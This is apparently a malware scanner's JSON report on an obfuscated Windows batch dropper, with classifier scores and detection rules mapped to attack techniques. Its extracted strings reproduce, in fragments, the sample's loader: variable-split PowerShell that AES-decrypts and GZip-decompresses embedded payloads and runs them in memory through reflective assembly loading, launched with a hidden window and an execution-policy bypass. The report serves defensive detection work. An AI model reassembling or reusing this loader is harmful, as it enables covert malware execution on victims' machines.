{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2,
        "threshold": 0.9991885423660278
      }
    ],
    "prob": 1.0,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.9859155,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 1.0,
        "class": 2
      },
      {
        "m": "az/batch",
        "prob": 0.997449,
        "class": 0
      }
    ],
    "version": "v17.17",
    "threshold": 0.99918854,
    "analyzed_at": "2026-05-31T10:40:07Z"
  },
  "path": "6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7.bat",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O(As)H(Po₂)",
        "x": 40,
        "ff": {
          "m": {
            "file": {
              "size": 388397.0,
              "entropy": 6.03,
              "size_bytes": 388397.0
            },
            "text": {
              "tab_count": 28.0,
              "digit_ratio": 0.16,
              "space_count": 160.0,
              "total_lines": 109.0,
              "char_entropy": 6.03,
              "unique_chars": 93.0,
              "lines_over_200": 2.0,
              "lines_over_500": 2.0,
              "string_density": 0.94,
              "avg_line_length": 3561.29,
              "lines_over_1000": 2.0,
              "max_line_length": 381185.0,
              "empty_line_ratio": 0.01,
              "last_line_length": 381185.0,
              "long_token_count": 2.0,
              "whitespace_ratio": 0.0,
              "most_common_ratio": 0.02,
              "identifier_density": 2.55,
              "line_length_stddev": 36337.44,
              "normalized_string_count": 9.77,
              "suspicious_string_ratio": 0.16,
              "most_common_char_is_null": 0.0,
              "suspicious_comment_ratio": 2.0,
              "max_inline_whitespace_run": 2.0,
              "most_common_char_codepoint": 97.0,
              "suspicious_identifier_ratio": 0.01,
              "normalized_unique_identifiers": 22.75
            }
          },
          "s": [
            [
              23,
              "u8",
              "set \"TClb=Lo\""
            ],
            [
              38,
              "u8",
              "set \"DAfN=nvo\""
            ],
            [
              54,
              "u8",
              "set \"chNY=lect\""
            ],
            [
              71,
              "u8",
              "set \"qOhm=byp\""
            ],
            [
              87,
              "u8",
              "set \"FkAD=prof\""
            ],
            [
              104,
              "u8",
              "set \"SKaAGQkYcIIWQigxNThQ=echo function decryp\""
            ],
            [
              153,
              "u8",
              "set \"xHwGiMjYwofdbGOiCKvN=t_function($param_va\""
            ],
            [
              202,
              "u8",
              "set \"pgKtyQiiHKzLcJglotrT=r){\t$aes_var=[System\""
            ],
            [
              251,
              "u8",
              "set \"GmBODEVjtXVdxuBqWcis=.Security.Cryptograp\""
            ],
            [
              300,
              "u8",
              "set \"EbqMPtarADUisBgdFWQT=hy.Aes]::Create();\t$\""
            ],
            [
              349,
              "u8",
              "set \"UYPKPvoIiPollYpFVPYj=aes_var.Mode=[System\""
            ],
            [
              398,
              "u8",
              "set \"EEJPcMKVnyLamoyFmFXt=.Security.Cryptograp\""
            ],
            [
              447,
              "u8",
              "set \"fsjKoJXumBhPYHppoZHc=hy.CipherMode]::CBC;\""
            ],
            [
              496,
              "u8",
              "set \"LsuKeoZXAJtqREdmvYBt=\t$aes_var.Padding=[S\""
            ],
            [
              545,
              "u8",
              "set \"PqJMrVcFYjrmYUINXzGa=ystem.Security.Crypt\""
            ],
            [
              594,
              "u8",
              "set \"KZUChQYtDdUpyonuIHsi=ography.PaddingMode]\""
            ],
            [
              643,
              "u8",
              "set \"ltYqsgsWVpoVsAJPwhFA=::PKCS7;\t$aes_var.Ke\""
            ],
            [
              692,
              "u8",
              "set \"XIbVobOJHofpgxOqbDja=y=[System.Convert]::\""
            ],
            [
              741,
              "u8",
              "set \"ybynPYXXFyYAcSlDsdcr=('gnirtS46esaBmorF'[\""
            ],
            [
              790,
              "u8",
              "set \"sIpHkYPULsOTYEbVkNgp=-1..-16] -join '')('\""
            ],
            [
              839,
              "u8",
              "set \"eReipEmnmlXXASIQLQdQ=cP+qKNutTynKUkrEYUHX\""
            ],
            [
              888,
              "u8",
              "set \"jdlmKeCyRpsEXMnBDhrF=rfgFt+qGd2k9eoIQyTxH\""
            ],
            [
              937,
              "u8",
              "set \"LBHAuQsfVkktKpgaFSyk=ELs=');\t$aes_var.IV=\""
            ],
            [
              986,
              "u8",
              "set \"cNwXTsaOFhmEyxeHvLRT=[System.Convert]::('\""
            ],
            [
              1035,
              "u8",
              "set \"MwDGeYUHGmVLIgDYfKGb=gnirtS46esaBmorF'[-1\""
            ],
            [
              1084,
              "u8",
              "set \"PEANXGVmlzFTaEyGkPSU=..-16] -join '')('w4\""
            ],
            [
              1133,
              "u8",
              "set \"yshtmBWsUgBKePdhVQIy=Vmy/houRSXsK7A9z6kzA\""
            ],
            [
              1182,
              "u8",
              "set \"dHwgGbKdIXNqSLDxwhBw===');\t$decryptor_var\""
            ],
            [
              1231,
              "u8",
              "set \"KDsfXUOlBqKugtRQWbMk==$aes_var.CreateDecr\""
            ],
            [
              1280,
              "u8",
              "set \"QSJWslSsmGLOpmOAoqjL=yptor();\t$return_var\""
            ],
            [
              1329,
              "u8",
              "set \"nzCrmtjyUMAvurFRTvMM==$decryptor_var.Tran\""
            ],
            [
              1378,
              "u8",
              "set \"cvYUFWeUFrBFRbXrqsKY=sformFinalBlock($par\""
            ],
            [
              1427,
              "u8",
              "set \"ctyzgptYHXGTExIRAILq=am_var, 0, $param_va\""
            ],
            [
              1476,
              "u8",
              "set \"opTDlUDstoBBLNKIXzNq=r.Length);\t$decrypto\""
            ],
            [
              1525,
              "u8",
              "set \"CgnHKIbusfQIGuKMAVnm=r_var.Dispose();\t$ae\""
            ],
            [
              1574,
              "u8",
              "set \"LaEtwfhQNaTbUvNhblTC=s_var.Dispose();\t$re\""
            ],
            [
              1623,
              "u8",
              "set \"SjaoxSUrdXiclBEBCUlE=turn_var;}function d\""
            ],
            [
              1672,
              "u8",
              "set \"AkHsmPNkGCKobKtCaqVD=ecompress_function($\""
            ],
            [
              1721,
              "u8",
              "set \"kQNPSQPsQmEhaocIBIbI=param_var){\t$lvUHo=N\""
            ],
            [
              1770,
              "u8",
              "set \"fJKBmTaAicBmYHtKxRzv=ew-Object System.IO.\""
            ],
            [
              1819,
              "u8",
              "set \"avuuXDoNIKasonyBfmDY=MemoryStream(,$param\""
            ],
            [
              1868,
              "u8",
              "set \"QokOLsjsVskKiGHKpqDJ=_var);\t$UxGoq=New-Ob\""
            ],
            [
              1917,
              "u8",
              "set \"FnSxcjYLjSEloBFLkFJF=ject System.IO.Memor\""
            ],
            [
              1966,
              "u8",
              "set \"tVRqzpjIFOlPIUtCwMMC=yStream;\t$NiPKr=New-\""
            ],
            [
              2015,
              "u8",
              "set \"txicNZwHaVzKHYpJvBXM=Object System.IO.Com\""
            ],
            [
              2064,
              "u8",
              "set \"ZpfvHODthcpyTglVMPCA=pression.GZipStream(\""
            ],
            [
              2113,
              "u8",
              "set \"TBHJpBiJFKgVOZCdsNvZ=$lvUHo, [IO.Compress\""
            ],
            [
              2162,
              "u8",
              "set \"wcAYGaQANtWGYxSxIwff=ion.CompressionMode]\""
            ],
            [
              2211,
              "u8",
              "set \"GTOxWuJTEhDZtDdRbJdo=::Decompress);\t$NiPK\""
            ],
            [
              2260,
              "u8",
              "set \"KHVlNzWrhfvVHpsCncbm=r.CopyTo($UxGoq);\t$N\""
            ],
            [
              2309,
              "u8",
              "set \"rXWFPXnuubvYtRvYYCJw=iPKr.Dispose();\t$lvU\""
            ],
            [
              2358,
              "u8",
              "set \"xsLzMHrdkADZHRWMLpwQ=Ho.Dispose();\t$UxGoq\""
            ],
            [
              2407,
              "u8",
              "set \"mBXgJwCPTuEKtFOZlxTh=.Dispose();\t$UxGoq.T\""
            ],
            [
              2456,
              "u8",
              "set \"FjkTxwrCVJnIgSjVuFPp=oArray();}function e\""
            ],
            [
              2505,
              "u8",
              "set \"fBjQWTFbcXBnwolcrdJm=xecute_function($par\""
            ],
            [
              2554,
              "u8",
              "set \"faUkgWEAwSEFHEcdatXE=am_var,$param2_var){\""
            ],
            [
              2603,
              "u8",
              "set \"QpzYhZmRHgErWCkeGYJZ=\t$KkPkD=[System.Refl\""
            ],
            [
              2652,
              "u8",
              "set \"pfFksVGSmhcXgewPBWdh=ection.Assembly]::('\""
            ],
            [
              2701,
              "u8",
              "set \"JMTponJftXxbKXpLJpFm=daoL'[-1..-4] -join \""
            ],
            [
              2750,
              "u8",
              "set \"tuFAeGkRguDKVBqCmqVf='')([byte[]]$param_v\""
            ],
            [
              2799,
              "u8",
              "set \"mAypKbmjPKglqQOphskH=ar);\t$zNDLa=$KkPkD.E\""
            ],
            [
              2848,
              "u8",
              "set \"cRYZtNfjHMzttAaSVpQc=ntryPoint;\t$zNDLa.In\""
            ],
            [
              2897,
              "u8",
              "set \"tbcworteNavTfncuBzVX=voke($null, $param2_\""
            ],
            [
              2946,
              "u8",
              "set \"VdBdkNSQQVtRCioaPCKb=var);}$XLuZt = '%~f0\""
            ],
            [
              2995,
              "u8",
              "set \"tavGqGnfyFqwuThpAYmB=';$host.UI.RawUI.Win\""
            ],
            [
              3044,
              "u8",
              "set \"zCoRHEqXZcFZOTDUIVMD=dowTitle = $XLuZt;$f\""
            ],
            [
              3093,
              "u8",
              "set \"zMslFWwJaZAQqjCQMDZM=EYHc=[System.IO.File\""
            ],
            [
              3142,
              "u8",
              "set \"ppgwaqIBpmHEmIbNkcmK=]::('txeTllAdaeR'[-1\""
            ],
            [
              3191,
              "u8",
              "set \"hHWaBOJErMheWZokFWko=..-11] -join '')($XL\""
            ],
            [
              3240,
              "u8",
              "set \"oVtOrVEIiOGKqoFHsgUl=uZt).Split([Environm\""
            ],
            [
              3289,
              "u8",
              "set \"HdkDeCImtQioRYvmoiIF=ent]::NewLine);forea\""
            ],
            [
              3338,
              "u8",
              "set \"kbvCgxNHuGRzbZGkLQKP=ch ($OYqiR in $fEYHc\""
            ],
            [
              3387,
              "u8",
              "set \"nsorGrSsSttkyobGHHxG=) {\tif ($OYqiR.Start\""
            ],
            [
              3436,
              "u8",
              "set \"ObRNZImSskAyySsRNdWO=sWith('yCOdwoiwmunBF\""
            ],
            [
              3485,
              "u8",
              "set \"FvObmGbMXaDdsdblAAsX=rP%TClb%jaG'))\t{\t\t$RNNcG\""
            ],
            [
              3538,
              "u8",
              "set \"fZZHSVMFWjTDLIbsnPAs==$OYqiR.Substring(20\""
            ],
            [
              3587,
              "u8",
              "set \"HzUsHxfuRgrmLYJFwgjq=);\t\tbreak;\t}}$payloa\""
            ],
            [
              3636,
              "u8",
              "set \"TvQOgZsJcIYLaZpFfHav=ds_var=[string[]]$RN\""
            ],
            [
              3685,
              "u8",
              "set \"QsOPSGSMZvWgFjzmJglI=NcG.Split('\\');$payl\""
            ],
            [
              3734,
              "u8",
              "set \"evsiiFmMIeAPgOABHbVz=oad1_var=decompress_\""
            ],
            [
              3783,
              "u8",
              "set \"hGJGMSfQAdVZvrquZFHm=function (decrypt_fu\""
            ],
            [
              3832,
              "u8",
              "set \"ufdVVhaRJXEIkLByLLwq=nction ([Convert]::(\""
            ],
            [
              3881,
              "u8",
              "set \"AvlFiBtOyfCcuJfbCOLF='gnirtS46esaBmorF'[-\""
            ],
            [
              3930,
              "u8",
              "set \"SngCznPKQRInjrMYTyNu=1..-16] -join '')($p\""
            ],
            [
              3979,
              "u8",
              "set \"NltDvCnBGzWXaQxmoJgU=ayloads_var[0].Repla\""
            ],
            [
              4028,
              "u8",
              "set \"MJYGwoTdWghearRGUDhW=ce('#', '/').Replace\""
            ],
            [
              4077,
              "u8",
              "set \"andqVLnsTzJkrTIenMgg=('@', 'A'))));$paylo\""
            ],
            [
              4126,
              "u8",
              "set \"JkEAsRWJZRrLBjUyGHKL=ad2_var=decompress_f\""
            ],
            [
              4175,
              "u8",
              "set \"bAjwwWMhJNtixbnPJDXd=unction (decrypt_fun\""
            ],
            [
              4224,
              "u8",
              "set \"PDtciYJiYjyFbufiahdw=ction ([Convert]::('\""
            ],
            [
              4273,
              "u8",
              "set \"fOalxjoAVeOcKHWxhhox=gnirtS46esaBmorF'[-1\""
            ],
            [
              4322,
              "u8",
              "set \"mEizpOgcVfOBzBYaDhEZ=..-16] -join '')($pa\""
            ],
            [
              4371,
              "u8",
              "set \"KjmTvvVuyHaSTGjAGBVI=yloads_var[1].Replac\""
            ],
            [
              4420,
              "u8",
              "set \"clEQqnDiIWTZDpNdrodU=e('#', '/').Replace(\""
            ],
            [
              4469,
              "u8",
              "set \"TMDofVITrxuclVXyEwDi='@', 'A'))));execute\""
            ],
            [
              4518,
              "u8",
              "set \"RMMCOapDSfjrxbPpHqKu=_function $payload1_\""
            ],
            [
              4567,
              "u8",
              "set \"EKQkCQNHrozULVcgabze=var $null;execute_fu\""
            ],
            [
              4616,
              "u8",
              "set \"FeamocFkgHRoLiDhVCaX=nction $payload2_var\""
            ],
            [
              4665,
              "u8",
              "set \"mIlEGoGBZJpFQGPzJEVz= (,[string[]] ('%*')\""
            ],
            [
              4714,
              "u8",
              "set \"lDAKxkjCsUkxbCRWSwFa=); | \"%systemdrive%\\\""
            ],
            [
              4763,
              "u8",
              "set \"welwslyftdxrGAMJiBhv=Windows\\System32\\Win\""
            ],
            [
              4812,
              "u8",
              "set \"fdieyREnOSHnZVcgsdsl=dowsPowerShell\\v1.0\\\""
            ],
            [
              4861,
              "u8",
              "set \"MdiowTRBQiOrojVsVgYA=powershell.exe\" -nop\""
            ],
            [
              4910,
              "u8",
              "set \"HkqBwkrLxFqejVJbUUHE=rofile -windowstyle \""
            ],
            [
              4959,
              "u8",
              "set \"acwGdpZPaJlmfREBNHSm=hidden -ep %qOhm%ass\""
            ],
            [
              5008,
              "u8",
              "%SKaAGQkYcIIWQigxNThQ%%xHwGiMjYwofdbGOiCKvN%%pgKtyQiiHKzLcJglotrT%%GmBODEVjtXVdxuBqWcis%%EbqMPtarADUisBgdFWQT%%UYPKPvoIiPollYpFV"
            ],
            [
              7212,
              "base64",
              "\u0013߈,x΅e\u000f[v:"
            ],
            [
              318508,
              "xor",
              "-L832L://M"
            ]
          ],
          "v": {
            "file.stem": "6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7",
            "file.basename": "6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7.bat"
          },
          "id": "batch"
        },
        "id": 0,
        "sz": 388397,
        "ts": [
          {
            "c": 0.949999988079071,
            "d": "Batch extreme line-length bloat",
            "e": [
              "text.avg_line_length = 3561.29"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::batch-extreme-line-bloat",
            "l": 4
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "NoProfile flag",
            "e": [
              "-nop"
            ],
            "i": "objectives/anti-static/obfuscation/string/concat::ps-noprofile",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 381185.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              "start"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::keyed-temp-payload-launch--rx-1",
            "l": 1
          },
          {
            "a": "T1204.002",
            "c": 0.8600000143051147,
            "d": "cmd.exe chained shell command",
            "e": [
              "cmd /c \"set __=^\u0026"
            ],
            "i": "objectives/command-and-control/dropper/execution/clickfix::cmd-chained-shell-command",
            "l": 1,
            "m": "B0024"
          },
          {
            "a": "T1562.001",
            "c": 0.8500000238418579,
            "d": "Regex component marker",
            "e": [
              "Egui"
            ],
            "i": "objectives/impact/degrade/edr/autostart::av-runkey-name-list--rx-4",
            "l": 1,
            "m": "F0004"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Last line is over 1000 chars",
            "e": [
              "text.last_line_length = 381185.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "GZip stream copies bytes",
            "e": [
              ".CopyTo("
            ],
            "i": "objectives/command-and-control/dropper/execution/script::ps-gzip-copyto",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Batch unusually low whitespace density",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::batch-low-whitespace-density",
            "l": 4
          },
          {
            "a": "T1027,T1112,T1059.001",
            "c": 0.8600000143051147,
            "d": "Batch has near-zero whitespace",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/command-and-control/dropper/staging/embedded::batch-near-zero-whitespace",
            "l": 1
          },
          {
            "a": "T1027,T1112,T1059.001",
            "c": 0.8999999761581421,
            "d": "Batch has long encoded token",
            "e": [
              "text.long_token_count = 2.00"
            ],
            "i": "objectives/command-and-control/dropper/staging/embedded::batch-has-long-token",
            "l": 1
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "PowerShell archive extraction command marker",
            "e": [
              "7Z"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-archive-extract",
            "l": 1
          },
          {
            "a": "T1059.001",
            "c": 0.8999999761581421,
            "d": "PowerShell launcher reference",
            "e": [
              "PowerShell"
            ],
            "i": "objectives/execution/interpreter/script/wsh::powershell-launcher",
            "l": 1
          },
          {
            "a": "T1071.001",
            "c": 0.4000000059604645,
            "d": "Generic cmd/command/result field word fragment",
            "e": [
              "cmd"
            ],
            "i": "objectives/command-and-control/beacon/network/json::result-command-word",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.20000000298023224,
            "d": "tmp keyword",
            "e": [
              "tmp"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::tmp",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "Variable assigned e fragment",
            "e": [
              "clEQqnDiIWTZDpNdrodU=e"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::del-fragment-e-var",
            "l": 1
          },
          {
            "c": 0.8500000238418579,
            "d": "Execute commands via cmd.exe /c",
            "e": [
              "cmd /c \""
            ],
            "i": "micro-behaviors/process/create/shell/invoke::cmd-exe-c-command",
            "l": 3
          },
          {
            "a": "T1565.001",
            "c": 0.8500000238418579,
            "d": "mwti (MicroWorld eScan parent)",
            "e": [
              "mwti"
            ],
            "i": "objectives/evasion/hosts-file/block-security::escan-security-domain--rx-6",
            "l": 1,
            "m": "F0004"
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 109.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1614",
            "c": 0.6000000238418579,
            "d": "Country code TJ token",
            "e": [
              "+TJ@"
            ],
            "i": "objectives/anti-analysis/geofencing/region/country-code-c::country-code-tj",
            "l": 1,
            "m": "B0007.003"
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "PowerShell archive download tool marker",
            "e": [
              "iwR"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-download-archive-tool",
            "l": 1
          },
          {
            "c": 0.20000000298023224,
            "d": "crypto keyword (substr, catches imports)",
            "e": [
              "crypto"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::crypto-substr",
            "l": 1
          },
          {
            "a": "T1620",
            "c": 0.8999999761581421,
            "d": "PowerShell GZipStream decompression",
            "e": [
              "GZipStream("
            ],
            "i": "objectives/command-and-control/backdoor/loader/managed-reflect::ps-gzipstream-decompress",
            "l": 1,
            "m": "B0024"
          },
          {
            "c": 0.6000000238418579,
            "d": "System32 substring reference",
            "e": [
              "System32"
            ],
            "i": "micro-behaviors/fs/path/system::system32-substr",
            "l": 2
          },
          {
            "c": 0.699999988079071,
            "d": "powershell keyword",
            "e": [
              "powershell"
            ],
            "i": "micro-behaviors/process/create/shell/lang::powershell-keyword",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "Multiple long lines (\u003e1000 chars)",
            "e": [
              "text.lines_over_1000 = 2.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High overall text entropy (encoded",
            "e": [
              "text.char_entropy = 6.03"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy",
            "l": 2,
            "m": "B0032"
          },
          {
            "d": ".exe extension reference",
            "e": [
              ".exe"
            ],
            "i": "micro-behaviors/fs/path/extension::exe-dup",
            "l": 2
          },
          {
            "d": "powershell.exe executable reference",
            "e": [
              ".exe",
              "powershell"
            ],
            "i": "objectives/execution/interpreter/script/shell::powershell-exe-comp",
            "l": 3
          }
        ],
        "sha": "6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7",
        "path": "6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7.bat",
        "type": "batch"
      }
    ],
    "tv": "52045"
  }
}